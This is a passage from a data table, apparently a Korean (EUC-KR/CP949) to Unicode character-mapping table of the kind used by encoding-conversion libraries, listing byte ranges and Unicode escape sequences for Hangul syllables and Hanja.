BB\uB5BC\uB5BD\uB5C0\uB5C4\uB5CC\uB5CD\uB5CF\uB5D0\uB5D1\uB5D8\uB5EC\uB610\uB611\uB614\uB618\uB625\uB62C\uB634\uB648\uB664\uB668\uB69C\uB69D\uB6A0\uB6A4\uB6AB\uB6AC\uB6B1\uB6D4\uB6F0\uB6F4\uB6F8\uB700\uB701\uB705\uB728\uB729\uB72C\uB72F\uB730\uB738\uB739\uB73B\uB744\uB748\uB74C\uB754\uB755\uB760\uB764\uB768\uB770\uB771\uB773\uB775\uB77C\uB77D\uB780\uB784\uB78C\uB78D\uB78F\uB790\uB791\uB792\uB796\uB797"],["b741","\uD16E",13,"\uD17D",6,"\uD185\uD186\uD187\uD189\uD18A"],["b761","\uD18B",20,"\uD1A2\uD1A3\uD1A5\uD1A6\uD1A7"],["b781","\uD1A9",6,"\uD1B2\uD1B4\uD1B6\uD1B7\uD1B8\uD1B9\uD1BB\uD1BD\uD1BE\uD1BF\uD1C1",14,"\uB798\uB799\uB79C\uB7A0\uB7A8\uB7A9\uB7AB\uB7AC\uB7AD\uB7B4\uB7B5\uB7B8\uB7C7\uB7C9\uB7EC\uB7ED\uB7F0\uB7F4\uB7FC\uB7FD\uB7FF\uB800\uB801\uB807\uB808\uB809\uB80C\uB810\uB818\uB819\uB81B\uB81D\uB824\uB825\uB828\uB82C\uB834\uB835\uB837\uB838\uB839\uB840\uB844\uB851\uB853\uB85C\uB85D\uB860\uB864\uB86C\uB86D\uB86F\uB871\uB878\uB87C\uB88D\uB8A8\uB8B0\uB8B4\uB8B8\uB8C0\uB8C1\uB8C3\uB8C5\uB8CC\uB8D0\uB8D4\uB8DD\uB8DF\uB8E1\uB8E8\uB8E9\uB8EC\uB8F0\uB8F8\uB8F9\uB8FB\uB8FD\uB904\uB918\uB920\uB93C\uB93D\uB940\uB944\uB94C\uB94F\uB951\uB958\uB959\uB95C\uB960\uB968\uB969"],["b841","\uD1D0",7,"\uD1D9",17],["b861","\uD1EB",8,"\uD1F5\uD1F6\uD1F7\uD1F9",13],["b881","\uD208\uD20A",5,"\uD211",24,"\uB96B\uB96D\uB974\uB975\uB978\uB97C\uB984\uB985\uB987\uB989\uB98A\uB98D\uB98E\uB9AC\uB9AD\uB9B0\uB9B4\uB9BC\uB9BD\uB9BF\uB9C1\uB9C8\uB9C9\uB9CC\uB9CE",4,"\uB9D8\uB9D9\uB9DB\uB9DD\uB9DE\uB9E1\uB9E3\uB9E4\uB9E5\uB9E8\uB9EC\uB9F4\uB9F5\uB9F7\uB9F8\uB9F9\uB9FA\uBA00\uBA01\uBA08\uBA15\uBA38\uBA39\uBA3C\uBA40\uBA42\uBA48\uBA49\uBA4B\uBA4D\uBA4E\uBA53\uBA54\uBA55\uBA58\uBA5C\uBA64\uBA65\uBA67\uBA68\uBA69\uBA70\uBA71\uBA74\uBA78\uBA83\uBA84\uBA85\uBA87\uBA8C\uBAA8\uBAA9\uBAAB\uBAAC\uBAB0\uBAB2\uBAB8\uBAB9\uBABB\uBABD\uBAC4\uBAC8\uBAD8\uBAD9\uBAFC"],["b941","\uD22A\uD22B\uD22E\uD22F\uD231\uD232\uD233\uD235",6,"\uD23E\uD240\uD242",5,"\uD249\uD24A\uD24B\uD24C"],["b961","\uD24D",14,"\uD25D",6,"\uD265\uD266\uD267\uD268"],["b981","\uD269",22,"\uD282\uD283\uD285\uD286\uD287\uD289\uD28A\uD28B\uD28C\uBB00\uBB04\uBB0D\uBB0F\uBB11\uBB18\uBB1C\uBB20\uBB29\uBB2B\uBB34\uBB35\uBB36\uBB38\uBB3B\uBB3C\uBB3D\uBB3E\uBB44\uBB45\uBB47\uBB49\uBB4D\uBB4F\uBB50\uBB54\uBB58\uBB61\uBB63\uBB6C\uBB88\uBB8C\uBB90\uBBA4\uBBA8\uBBAC\uBBB4\uBBB7\uBBC0\uBBC4\uBBC8\uBBD0\uBBD3\uBBF8\uBBF9\uBBFC\uBBFF\uBC00\uBC02\uBC08\uBC09\uBC0B\uBC0C\uBC0D\uBC0F\uBC11\uBC14",4,"\uBC1B",4,"\uBC24\uBC25\uBC27\uBC29\uBC2D\uBC30\uBC31\uBC34\uBC38\uBC40\uBC41\uBC43\uBC44\uBC45\uBC49\uBC4C\uBC4D\uBC50\uBC5D\uBC84\uBC85\uBC88\uBC8B\uBC8C\uBC8E\uBC94\uBC95\uBC97"],["ba41","\uD28D\uD28E\uD28F\uD292\uD293\uD294\uD296",5,"\uD29D\uD29E\uD29F\uD2A1\uD2A2\uD2A3\uD2A5",6,"\uD2AD"],["ba61","\uD2AE\uD2AF\uD2B0\uD2B2",5,"\uD2BA\uD2BB\uD2BD\uD2BE\uD2C1\uD2C3",4,"\uD2CA\uD2CC",5],["ba81","\uD2D2\uD2D3\uD2D5\uD2D6\uD2D7\uD2D9\uD2DA\uD2DB\uD2DD",6,"\uD2E6",9,"\uD2F2\uD2F3\uD2F5\uD2F6\uD2F7\uD2F9\uD2FA\uBC99\uBC9A\uBCA0\uBCA1\uBCA4\uBCA7\uBCA8\uBCB0\uBCB1\uBCB3\uBCB4\uBCB5\uBCBC\uBCBD\uBCC0\uBCC4\uBCCD\uBCCF\uBCD0\uBCD1\uBCD5\uBCD8\uBCDC\uBCF4\uBCF5\uBCF6\uBCF8\uBCFC\uBD04\uBD05\uBD07\uBD09\uBD10\uBD14\uBD24\uBD2C\uBD40\uBD48\uBD49\uBD4C\uBD50\uBD58\uBD59\uBD64\uBD68\uBD80\uBD81\uBD84\uBD87\uBD88\uBD89\uBD8A\uBD90\uBD91\uBD93\uBD95\uBD99\uBD9A\uBD9C\uBDA4\uBDB0\uBDB8\uBDD4\uBDD5\uBDD8\uBDDC\uBDE9\uBDF0\uBDF4\uBDF8\uBE00\uBE03\uBE05\uBE0C\uBE0D\uBE10\uBE14\uBE1C\uBE1D\uBE1F\uBE44\uBE45\uBE48\uBE4C\uBE4E\uBE54\uBE55\uBE57\uBE59\uBE5A\uBE5B\uBE60\uBE61\uBE64"],["bb41","\uD2FB",4,"\uD302\uD304\uD306",5,"\uD30F\uD311\uD312\uD313\uD315\uD317",4,"\uD31E\uD322\uD323"],["bb61","\uD324\uD326\uD327\uD32A\uD32B\uD32D\uD32E\uD32F\uD331",6,"\uD33A\uD33E",5,"\uD346\uD347\uD348\uD349"],["bb81","\uD34A",31,"\uBE68\uBE6A\uBE70\uBE71\uBE73\uBE74\uBE75\uBE7B\uBE7C\uBE7D\uBE80\uBE84\uBE8C\uBE8D\uBE8F\uBE90\uBE91\uBE98\uBE99\uBEA8\uBED0\uBED1\uBED4\uBED7\uBED8\uBEE0\uBEE3\uBEE4\uBEE5\uBEEC\uBF01\uBF08\uBF09\uBF18\uBF19\uBF1B\uBF1C\uBF1D\uBF40\uBF41\uBF44\uBF48\uBF50\uBF51\uBF55\uBF94\uBFB0\uBFC5\uBFCC\uBFCD\uBFD0\uBFD4\uBFDC\uBFDF\uBFE1\uC03C\uC051\uC058\uC05C\uC060\uC068\uC069\uC090\uC091\uC094\uC098\uC0A0\uC0A1\uC0A3\uC0A5\uC0AC\uC0AD\uC0AF\uC0B0\uC0B3\uC0B4\uC0B5\uC0B6\uC0BC\uC0BD\uC0BF\uC0C0\uC0C1\uC0C5\uC0C8\uC0C9\uC0CC\uC0D0\uC0D8\uC0D9\uC0DB\uC0DC\uC0DD\uC0E4"],["bc41","\uD36A",17,"\uD37E\uD37F\uD381\uD382\uD383\uD385\uD386\uD387"],["bc61","\uD388\uD389\uD38A\uD38B\uD38E\uD392",5,"\uD39A\uD39B\uD39D\uD39E\uD39F\uD3A1",6,"\uD3AA\uD3AC\uD3AE"],["bc81","\uD3AF",4,"\uD3B5\uD3B6\uD3B7\uD3B9\uD3BA\uD3BB\uD3BD",6,"\uD3C6\uD3C7\uD3CA",5,"\uD3D1",5,"\uC0E5\uC0E8\uC0EC\uC0F4\uC0F5\uC0F7\uC0F9\uC100\uC104\uC108\uC110\uC115\uC11C",4,"\uC123\uC124\uC126\uC127\uC12C\uC12D\uC12F\uC130\uC131\uC136\uC138\uC139\uC13C\uC140\uC148\uC149\uC14B\uC14C\uC14D\uC154\uC155\uC158\uC15C\uC164\uC165\uC167\uC168\uC169\uC170\uC174\uC178\uC185\uC18C\uC18D\uC18E\uC190\uC194\uC196\uC19C\uC19D\uC19F\uC1A1\uC1A5\uC1A8\uC1A9\uC1AC\uC1B0\uC1BD\uC1C4\uC1C8\uC1CC\uC1D4\uC1D7\uC1D8\uC1E0\uC1E4\uC1E8\uC1F0\uC1F1\uC1F3\uC1FC\uC1FD\uC200\uC204\uC20C\uC20D\uC20F\uC211\uC218\uC219\uC21C\uC21F\uC220\uC228\uC229\uC22B\uC22D"],["bd41","\uD3D7\uD3D9",7,"\uD3E2\uD3E4",7,"\uD3EE\uD3EF\uD3F1\uD3F2\uD3F3\uD3F5\uD3F6\uD3F7"],["bd61","\uD3F8\uD3F9\uD3FA\uD3FB\uD3FE\uD400\uD402",5,"\uD409",13],["bd81","\uD417",5,"\uD41E",25,"\uC22F\uC231\uC232\uC234\uC248\uC250\uC251\uC254\uC258\uC260\uC265\uC26C\uC26D\uC270\uC274\uC27C\uC27D\uC27F\uC281\uC288\uC289\uC290\uC298\uC29B\uC29D\uC2A4\uC2A5\uC2A8\uC2AC\uC2AD\uC2B4\uC2B5\uC2B7\uC2B9\uC2DC\uC2DD\uC2E0\uC2E3\uC2E4\uC2EB\uC2EC\uC2ED\uC2EF\uC2F1\uC2F6\uC2F8\uC2F9\uC2FB\uC2FC\uC300\uC308\uC309\uC30C\uC30D\uC313\uC314\uC315\uC318\uC31C\uC324\uC325\uC328\uC329\uC345\uC368\uC369\uC36C\uC370\uC372\uC378\uC379\uC37C\uC37D\uC384\uC388\uC38C\uC3C0\uC3D8\uC3D9\uC3DC\uC3DF\uC3E0\uC3E2\uC3E8\uC3E9\uC3ED\uC3F4\uC3F5\uC3F8\uC408\uC410\uC424\uC42C\uC430"],["be41","\uD438",7,"\uD441\uD442\uD443\uD445",14],["be61","\uD454",7,"\uD45D\uD45E\uD45F\uD461\uD462\uD463\uD465",7,"\uD46E\uD470\uD471\uD472"],["be81","\uD473",4,"\uD47A\uD47B\uD47D\uD47E\uD481\uD483",4,"\uD48A\uD48C\uD48E",5,"\uD495",8,"\uC434\uC43C\uC43D\uC448\uC464\uC465\uC468\uC46C\uC474\uC475\uC479\uC480\uC494\uC49C\uC4B8\uC4BC\uC4E9\uC4F0\uC4F1\uC4F4\uC4F8\uC4FA\uC4FF\uC500\uC501\uC50C\uC510\uC514\uC51C\uC528\uC529\uC52C\uC530\uC538\uC539\uC53B\uC53D\uC544\uC545\uC548\uC549\uC54A\uC54C\uC54D\uC54E\uC553\uC554\uC555\uC557\uC558\uC559\uC55D\uC55E\uC560\uC561\uC564\uC568\uC570\uC571\uC573\uC574\uC575\uC57C\uC57D\uC580\uC584\uC587\uC58C\uC58D\uC58F\uC591\uC595\uC597\uC598\uC59C\uC5A0\uC5A9\uC5B4\uC5B5\uC5B8\uC5B9\uC5BB\uC5BC\uC5BD\uC5BE\uC5C4",6,"\uC5CC\uC5CE"],["bf41","\uD49E",10,"\uD4AA",14],["bf61","\uD4B9",18,"\uD4CD\uD4CE\uD4CF\uD4D1\uD4D2\uD4D3\uD4D5"],["bf81","\uD4D6",5,"\uD4DD\uD4DE\uD4E0",7,"\uD4E9\uD4EA\uD4EB\uD4ED\uD4EE\uD4EF\uD4F1",6,"\uD4F9\uD4FA\uD4FC\uC5D0\uC5D1\uC5D4\uC5D8\uC5E0\uC5E1\uC5E3\uC5E5\uC5EC\uC5ED\uC5EE\uC5F0\uC5F4\uC5F6\uC5F7\uC5FC",5,"\uC605\uC606\uC607\uC608\uC60C\uC610\uC618\uC619\uC61B\uC61C\uC624\uC625\uC628\uC62C\uC62D\uC62E\uC630\uC633\uC634\uC635\uC637\uC639\uC63B\uC640\uC641\uC644\uC648\uC650\uC651\uC653\uC654\uC655\uC65C\uC65D\uC660\uC66C\uC66F\uC671\uC678\uC679\uC67C\uC680\uC688\uC689\uC68B\uC68D\uC694\uC695\uC698\uC69C\uC6A4\uC6A5\uC6A7\uC6A9\uC6B0\uC6B1\uC6B4\uC6B8\uC6B9\uC6BA\uC6C0\uC6C1\uC6C3\uC6C5\uC6CC\uC6CD\uC6D0\uC6D4\uC6DC\uC6DD\uC6E0\uC6E1\uC6E8"],["c041","\uD4FE",5,"\uD505\uD506\uD507\uD509\uD50A\uD50B\uD50D",6,"\uD516\uD518",5],["c061","\uD51E",25],["c081","\uD538\uD539\uD53A\uD53B\uD53E\uD53F\uD541\uD542\uD543\uD545",6,"\uD54E\uD550\uD552",5,"\uD55A\uD55B\uD55D\uD55E\uD55F\uD561\uD562\uD563\uC6E9\uC6EC\uC6F0\uC6F8\uC6F9\uC6FD\uC704\uC705\uC708\uC70C\uC714\uC715\uC717\uC719\uC720\uC721\uC724\uC728\uC730\uC731\uC733\uC735\uC737\uC73C\uC73D\uC740\uC744\uC74A\uC74C\uC74D\uC74F\uC751",7,"\uC75C\uC760\uC768\uC76B\uC774\uC775\uC778\uC77C\uC77D\uC77E\uC783\uC784\uC785\uC787\uC788\uC789\uC78A\uC78E\uC790\uC791\uC794\uC796\uC797\uC798\uC79A\uC7A0\uC7A1\uC7A3\uC7A4\uC7A5\uC7A6\uC7AC\uC7AD\uC7B0\uC7B4\uC7BC\uC7BD\uC7BF\uC7C0\uC7C1\uC7C8\uC7C9\uC7CC\uC7CE\uC7D0\uC7D8\uC7DD\uC7E4\uC7E8\uC7EC\uC800\uC801\uC804\uC808\uC80A"],["c141","\uD564\uD566\uD567\uD56A\uD56C\uD56E",5,"\uD576\uD577\uD579\uD57A\uD57B\uD57D",6,"\uD586\uD58A\uD58B"],["c161","\uD58C\uD58D\uD58E\uD58F\uD591",19,"\uD5A6\uD5A7"],["c181","\uD5A8",31,"\uC810\uC811\uC813\uC815\uC816\uC81C\uC81D\uC820\uC824\uC82C\uC82D\uC82F\uC831\uC838\uC83C\uC840\uC848\uC849\uC84C\uC84D\uC854\uC870\uC871\uC874\uC878\uC87A\uC880\uC881\uC883\uC885\uC886\uC887\uC88B\uC88C\uC88D\uC894\uC89D\uC89F\uC8A1\uC8A8\uC8BC\uC8BD\uC8C4\uC8C8\uC8CC\uC8D4\uC8D5\uC8D7\uC8D9\uC8E0\uC8E1\uC8E4\uC8F5\uC8FC\uC8FD\uC900\uC904\uC905\uC906\uC90C\uC90D\uC90F\uC911\uC918\uC92C\uC934\uC950\uC951\uC954\uC958\uC960\uC961\uC963\uC96C\uC970\uC974\uC97C\uC988\uC989\uC98C\uC990\uC998\uC999\uC99B\uC99D\uC9C0\uC9C1\uC9C4\uC9C7\uC9C8\uC9CA\uC9D0\uC9D1\uC9D3"],["c241","\uD5CA\uD5CB\uD5CD\uD5CE\uD5CF\uD5D1\uD5D3",4,"\uD5DA\uD5DC\uD5DE",5,"\uD5E6\uD5E7\uD5E9\uD5EA\uD5EB\uD5ED\uD5EE"],["c261","\uD5EF",4,"\uD5F6\uD5F8\uD5FA",5,"\uD602\uD603\uD605\uD606\uD607\uD609",6,"\uD612"],["c281","\uD616",5,"\uD61D\uD61E\uD61F\uD621\uD622\uD623\uD625",7,"\uD62E",9,"\uD63A\uD63B\uC9D5\uC9D6\uC9D9\uC9DA\uC9DC\uC9DD\uC9E0\uC9E2\uC9E4\uC9E7\uC9EC\uC9ED\uC9EF\uC9F0\uC9F1\uC9F8\uC9F9\uC9FC\uCA00\uCA08\uCA09\uCA0B\uCA0C\uCA0D\uCA14\uCA18\uCA29\uCA4C\uCA4D\uCA50\uCA54\uCA5C\uCA5D\uCA5F\uCA60\uCA61\uCA68\uCA7D\uCA84\uCA98\uCABC\uCABD\uCAC0\uCAC4\uCACC\uCACD\uCACF\uCAD1\uCAD3\uCAD8\uCAD9\uCAE0\uCAEC\uCAF4\uCB08\uCB10\uCB14\uCB18\uCB20\uCB21\uCB41\uCB48\uCB49\uCB4C\uCB50\uCB58\uCB59\uCB5D\uCB64\uCB78\uCB79\uCB9C\uCBB8\uCBD4\uCBE4\uCBE7\uCBE9\uCC0C\uCC0D\uCC10\uCC14\uCC1C\uCC1D\uCC21\uCC22\uCC27\uCC28\uCC29\uCC2C\uCC2E\uCC30\uCC38\uCC39\uCC3B"],["c341","\uD63D\uD63E\uD63F\uD641\uD642\uD643\uD644\uD646\uD647\uD64A\uD64C\uD64E\uD64F\uD650\uD652\uD653\uD656\uD657\uD659\uD65A\uD65B\uD65D",4],["c361","\uD662",4,"\uD668\uD66A",5,"\uD672\uD673\uD675",11],["c381","\uD681\uD682\uD684\uD686",5,"\uD68E\uD68F\uD691\uD692\uD693\uD695",7,"\uD69E\uD6A0\uD6A2",5,"\uD6A9\uD6AA\uCC3C\uCC3D\uCC3E\uCC44\uCC45\uCC48\uCC4C\uCC54\uCC55\uCC57\uCC58\uCC59\uCC60\uCC64\uCC66\uCC68\uCC70\uCC75\uCC98\uCC99\uCC9C\uCCA0\uCCA8\uCCA9\uCCAB\uCCAC\uCCAD\uCCB4\uCCB5\uCCB8\uCCBC\uCCC4\uCCC5\uCCC7\uCCC9\uCCD0\uCCD4\uCCE4\uCCEC\uCCF0\uCD01\uCD08\uCD09\uCD0C\uCD10\uCD18\uCD19\uCD1B\uCD1D\uCD24\uCD28\uCD2C\uCD39\uCD5C\uCD60\uCD64\uCD6C\uCD6D\uCD6F\uCD71\uCD78\uCD88\uCD94\uCD95\uCD98\uCD9C\uCDA4\uCDA5\uCDA7\uCDA9\uCDB0\uCDC4\uCDCC\uCDD0\uCDE8\uCDEC\uCDF0\uCDF8\uCDF9\uCDFB\uCDFD\uCE04\uCE08\uCE0C\uCE14\uCE19\uCE20\uCE21\uCE24\uCE28\uCE30\uCE31\uCE33\uCE35"],["c441","\uD6AB\uD6AD\uD6AE\uD6AF\uD6B1",7,"\uD6BA\uD6BC",7,"\uD6C6\uD6C7\uD6C9\uD6CA\uD6CB"],["c461","\uD6CD\uD6CE\uD6CF\uD6D0\uD6D2\uD6D3\uD6D5\uD6D6\uD6D8\uD6DA",5,"\uD6E1\uD6E2\uD6E3\uD6E5\uD6E6\uD6E7\uD6E9",4],["c481","\uD6EE\uD6EF\uD6F1\uD6F2\uD6F3\uD6F4\uD6F6",5,"\uD6FE\uD6FF\uD701\uD702\uD703\uD705",11,"\uD712\uD713\uD714\uCE58\uCE59\uCE5C\uCE5F\uCE60\uCE61\uCE68\uCE69\uCE6B\uCE6D\uCE74\uCE75\uCE78\uCE7C\uCE84\uCE85\uCE87\uCE89\uCE90\uCE91\uCE94\uCE98\uCEA0\uCEA1\uCEA3\uCEA4\uCEA5\uCEAC\uCEAD\uCEC1\uCEE4\uCEE5\uCEE8\uCEEB\uCEEC\uCEF4\uCEF5\uCEF7\uCEF8\uCEF9\uCF00\uCF01\uCF04\uCF08\uCF10\uCF11\uCF13\uCF15\uCF1C\uCF20\uCF24\uCF2C\uCF2D\uCF2F\uCF30\uCF31\uCF38\uCF54\uCF55\uCF58\uCF5C\uCF64\uCF65\uCF67\uCF69\uCF70\uCF71\uCF74\uCF78\uCF80\uCF85\uCF8C\uCFA1\uCFA8\uCFB0\uCFC4\uCFE0\uCFE1\uCFE4\uCFE8\uCFF0\uCFF1\uCFF3\uCFF5\uCFFC\uD000\uD004\uD011\uD018\uD02D\uD034\uD035\uD038\uD03C"],["c541","\uD715\uD716\uD717\uD71A\uD71B\uD71D\uD71E\uD71F\uD721",6,"\uD72A\uD72C\uD72E",5,"\uD736\uD737\uD739"],["c561","\uD73A\uD73B\uD73D",6,"\uD745\uD746\uD748\uD74A",5,"\uD752\uD753\uD755\uD75A",4],["c581","\uD75F\uD762\uD764\uD766\uD767\uD768\uD76A\uD76B\uD76D\uD76E\uD76F\uD771\uD772\uD773\uD775",6,"\uD77E\uD77F\uD780\uD782",5,"\uD78A\uD78B\uD044\uD045\uD047\uD049\uD050\uD054\uD058\uD060\uD06C\uD06D\uD070\uD074\uD07C\uD07D\uD081\uD0A4\uD0A5\uD0A8\uD0AC\uD0B4\uD0B5\uD0B7\uD0B9\uD0C0\uD0C1\uD0C4\uD0C8\uD0C9\uD0D0\uD0D1\uD0D3\uD0D4\uD0D5\uD0DC\uD0DD\uD0E0\uD0E4\uD0EC\uD0ED\uD0EF\uD0F0\uD0F1\uD0F8\uD10D\uD130\uD131\uD134\uD138\uD13A\uD140\uD141\uD143\uD144\uD145\uD14C\uD14D\uD150\uD154\uD15C\uD15D\uD15F\uD161\uD168\uD16C\uD17C\uD184\uD188\uD1A0\uD1A1\uD1A4\uD1A8\uD1B0\uD1B1\uD1B3\uD1B5\uD1BA\uD1BC\uD1C0\uD1D8\uD1F4\uD1F8\uD207\uD209\uD210\uD22C\uD22D\uD230\uD234\uD23C\uD23D\uD23F\uD241\uD248\uD25C"],["c641","\uD78D\uD78E\uD78F\uD791",6,"\uD79A\uD79C\uD79E",5],["c6a1","\uD264\uD280\uD281\uD284\uD288\uD290\uD291\uD295\uD29C\uD2A0\uD2A4\uD2AC\uD2B1\uD2B8\uD2B9\uD2BC\uD2BF\uD2C0\uD2C2\uD2C8\uD2C9\uD2CB\uD2D4\uD2D8\uD2DC\uD2E4\uD2E5\uD2F0\uD2F1\uD2F4\uD2F8\uD300\uD301\uD303\uD305\uD30C\uD30D\uD30E\uD310\uD314\uD316\uD31C\uD31D\uD31F\uD320\uD321\uD325\uD328\uD329\uD32C\uD330\uD338\uD339\uD33B\uD33C\uD33D\uD344\uD345\uD37C\uD37D\uD380\uD384\uD38C\uD38D\uD38F\uD390\uD391\uD398\uD399\uD39C\uD3A0\uD3A8\uD3A9\uD3AB\uD3AD\uD3B4\uD3B8\uD3BC\uD3C4\uD3C5\uD3C8\uD3C9\uD3D0\uD3D8\uD3E1\uD3E3\uD3EC\uD3ED\uD3F0\uD3F4\uD3FC\uD3FD\uD3FF\uD401"],["c7a1","\uD408\uD41D\uD440\uD444\uD45C\uD460\uD464\uD46D\uD46F\uD478\uD479\uD47C\uD47F\uD480\uD482\uD488\uD489\uD48B\uD48D\uD494\uD4A9\uD4CC\uD4D0\uD4D4\uD4DC\uD4DF\uD4E8\uD4EC\uD4F0\uD4F8\uD4FB\uD4FD\uD504\uD508\uD50C\uD514\uD515\uD517\uD53C\uD53D\uD540\uD544\uD54C\uD54D\uD54F\uD551\uD558\uD559\uD55C\uD560\uD565\uD568\uD569\uD56B\uD56D\uD574\uD575\uD578\uD57C\uD584\uD585\uD587\uD588\uD589\uD590\uD5A5\uD5C8\uD5C9\uD5CC\uD5D0\uD5D2\uD5D8\uD5D9\uD5DB\uD5DD\uD5E4\uD5E5\uD5E8\uD5EC\uD5F4\uD5F5\uD5F7\uD5F9\uD600\uD601\uD604\uD608\uD610\uD611\uD613\uD614\uD615\uD61C\uD620"],["c8a1","\uD624\uD62D\uD638\uD639\uD63C\uD640\uD645\uD648\uD649\uD64B\uD64D\uD651\uD654\uD655\uD658\uD65C\uD667\uD669\uD670\uD671\uD674\uD683\uD685\uD68C\uD68D\uD690\uD694\uD69D\uD69F\uD6A1\uD6A8\uD6AC\uD6B0\uD6B9\uD6BB\uD6C4\uD6C5\uD6C8\uD6CC\uD6D1\uD6D4\uD6D7\uD6D9\uD6E0\uD6E4\uD6E8\uD6F0\uD6F5\uD6FC\uD6FD\uD700\uD704\uD711\uD718\uD719\uD71C\uD720\uD728\uD729\uD72B\uD72D\uD734\uD735\uD738\uD73C\uD744\uD747\uD749\uD750\uD751\uD754\uD756\uD757\uD758\uD759\uD760\uD761\uD763\uD765\uD769\uD76C\uD770\uD774\uD77C\uD77D\uD781\uD788\uD789\uD78C\uD790\uD798\uD799\uD79B\uD79D"],["caa1","\u4F3D\u4F73\u5047\u50F9\u52A0\u53EF\u5475\u54E5\u5609\u5AC1\u5BB6\u6687\u67B6\u67B7\u67EF\u6B4C\u73C2\u75C2\u7A3C\u82DB\u8304\u8857\u8888\u8A36\u8CC8\u8DCF\u8EFB\u8FE6\u99D5\u523B\u5374\u5404\u606A\u6164\u6BBC\u73CF\u811A\u89BA\u89D2\u95A3\u4F83\u520A\u58BE\u5978\u59E6\u5E72\u5E79\u61C7\u63C0\u6746\u67EC\u687F\u6F97\u764E\u770B\u78F5\u7A08\u7AFF\u7C21\u809D\u826E\u8271\u8AEB\u9593\u4E6B\u559D\u66F7\u6E34\u78A3\u7AED\u845B\u8910\u874E\u97A8\u52D8\u574E\u582A\u5D4C\u611F\u61BE\u6221\u6562\u67D1\u6A44\u6E1B\u7518\u75B3\u76E3\u77B0\u7D3A\u90AF\u9451\u9452\u9F95"],["cba1","\u5323\u5CAC\u7532\u80DB\u9240\u9598\u525B\u5808\u59DC\u5CA1\u5D17\u5EB7\u5F3A\u5F4A\u6177\u6C5F\u757A\u7586\u7CE0\u7D73\u7DB1\u7F8C\u8154\u8221\u8591\u8941\u8B1B\u92FC\u964D\u9C47\u4ECB\u4EF7\u500B\u51F1\u584F\u6137\u613E\u6168\u6539\u69EA\u6F11\u75A5\u7686\u76D6\u7B87\u82A5\u84CB\uF900\u93A7\u958B\u5580\u5BA2\u5751\uF901\u7CB3\u7FB9\u91B5\u5028\u53BB\u5C45\u5DE8\u62D2\u636E\u64DA\u64E7\u6E20\u70AC\u795B\u8DDD\u8E1E\uF902\u907D\u9245\u92F8\u4E7E\u4EF6\u5065\u5DFE\u5EFA\u6106\u6957\u8171\u8654\u8E47\u9375\u9A2B\u4E5E\u5091\u6770\u6840\u5109\u528D\u5292\u6AA2"],["cca1","\u77BC\u9210\u9ED4\u52AB\u602F\u8FF2\u5048\u61A9\u63ED\u64CA\u683C\u6A84\u6FC0\u8188\u89A1\u9694\u5805\u727D\u72AC\u7504\u7D79\u7E6D\u80A9\u898B\u8B74\u9063\u9D51\u6289\u6C7A\u6F54\u7D50\u7F3A\u8A23\u517C\u614A\u7B9D\u8B19\u9257\u938C\u4EAC\u4FD3\u501E\u50BE\u5106\u52C1\u52CD\u537F\u5770\u5883\u5E9A\u5F91\u6176\u61AC\u64CE\u656C\u666F\u66BB\u66F4\u6897\u6D87\u7085\u70F1\u749F\u74A5\u74CA\u75D9\u786C\u78EC\u7ADF\u7AF6\u7D45\u7D93\u8015\u803F\u811B\u8396\u8B66\u8F15\u9015\u93E1\u9803\u9838\u9A5A\u9BE8\u4FC2\u5553\u583A\u5951\u5B63\u5C46\u60B8\u6212\u6842\u68B0"],["cda1","\u68E8\u6EAA\u754C\u7678\u78CE\u7A3D\u7CFB\u7E6B\u7E7C\u8A08\u8AA1\u8C3F\u968E\u9DC4\u53E4\u53E9\u544A\u5471\u56FA\u59D1\u5B64\u5C3B\u5EAB\u62F7\u6537\u6545\u6572\u66A0\u67AF\u69C1\u6CBD\u75FC\u7690\u777E\u7A3F\u7F94\u8003\u80A1\u818F\u82E6\u82FD\u83F0\u85C1\u8831\u88B4\u8AA5\uF903\u8F9C\u932E\u96C7\u9867\u9AD8\u9F13\u54ED\u659B\u66F2\u688F\u7A40\u8C37\u9D60\u56F0\u5764\u5D11\u6606\u68B1\u68CD\u6EFE\u7428\u889E\u9BE4\u6C68\uF904\u9AA8\u4F9B\u516C\u5171\u529F\u5B54\u5DE5\u6050\u606D\u62F1\u63A7\u653B\u73D9\u7A7A\u86A3\u8CA2\u978F\u4E32\u5BE1\u6208\u679C\u74DC"],["cea1","\u79D1\u83D3\u8A87\u8AB2\u8DE8\u904E\u934B\u9846\u5ED3\u69E8\u85FF\u90ED\uF905\u51A0\u5B98\u5BEC\u6163\u68FA\u6B3E\u704C\u742F\u74D8\u7BA1\u7F50\u83C5\u89C0\u8CAB\u95DC\u9928\u522E\u605D\u62EC\u9002\u4F8A\u5149\u5321\u58D9\u5EE3\u66E0\u6D38\u709A\u72C2\u73D6\u7B50\u80F1\u945B\u5366\u639B\u7F6B\u4E56\u5080\u584A\u58DE\u602A\u6127\u62D0\u69D0\u9B41\u5B8F\u7D18\u80B1\u8F5F\u4EA4\u50D1\u54AC\u55AC\u5B0C\u5DA0\u5DE7\u652A\u654E\u6821\u6A4B\u72E1\u768E\u77EF\u7D5E\u7FF9\u81A0\u854E\u86DF\u8F03\u8F4E\u90CA\u9903\u9A55\u9BAB\u4E18\u4E45\u4E5D\u4EC7\u4FF1\u5177\u52FE"],["cfa1","\u5340\u53E3\u53E5\u548E\u5614\u5775\u57A2\u5BC7\u5D87\u5ED0\u61FC\u62D8\u6551\u67B8\u67E9\u69CB\u6B50\u6BC6\u6BEC\u6C42\u6E9D\u7078\u72D7\u7396\u7403\u77BF\u77E9\u7A76\u7D7F\u8009\u81FC\u8205\u820A\u82DF\u8862\u8B33\u8CFC\u8EC0\u9011\u90B1\u9264\u92B6\u99D2\u9A45\u9CE9\u9DD7\u9F9C\u570B\u5C40\u83CA\u97A0\u97AB\u9EB4\u541B\u7A98\u7FA4\u88D9\u8ECD\u90E1\u5800\u5C48\u6398\u7A9F\u5BAE\u5F13\u7A79\u7AAE\u828E\u8EAC\u5026\u5238\u52F8\u5377\u5708\u62F3\u6372\u6B0A\u6DC3\u7737\u53A5\u7357\u8568\u8E76\u95D5\u673A\u6AC3\u6F70\u8A6D\u8ECC\u994B\uF906\u6677\u6B78\u8CB4"],["d0a1","\u9B3C\uF907\u53EB\u572D\u594E\u63C6\u69FB\u73EA\u7845\u7ABA\u7AC5\u7CFE\u8475\u898F\u8D73\u9035\u95A8\u52FB\u5747\u7547\u7B60\u83CC\u921E\uF908\u6A58\u514B\u524B\u5287\u621F\u68D8\u6975\u9699\u50C5\u52A4\u52E4\u61C3\u65A4\u6839\u69FF\u747E\u7B4B\u82B9\u83EB\u89B2\u8B39\u8FD1\u9949\uF909\u4ECA\u5997\u64D2\u6611\u6A8E\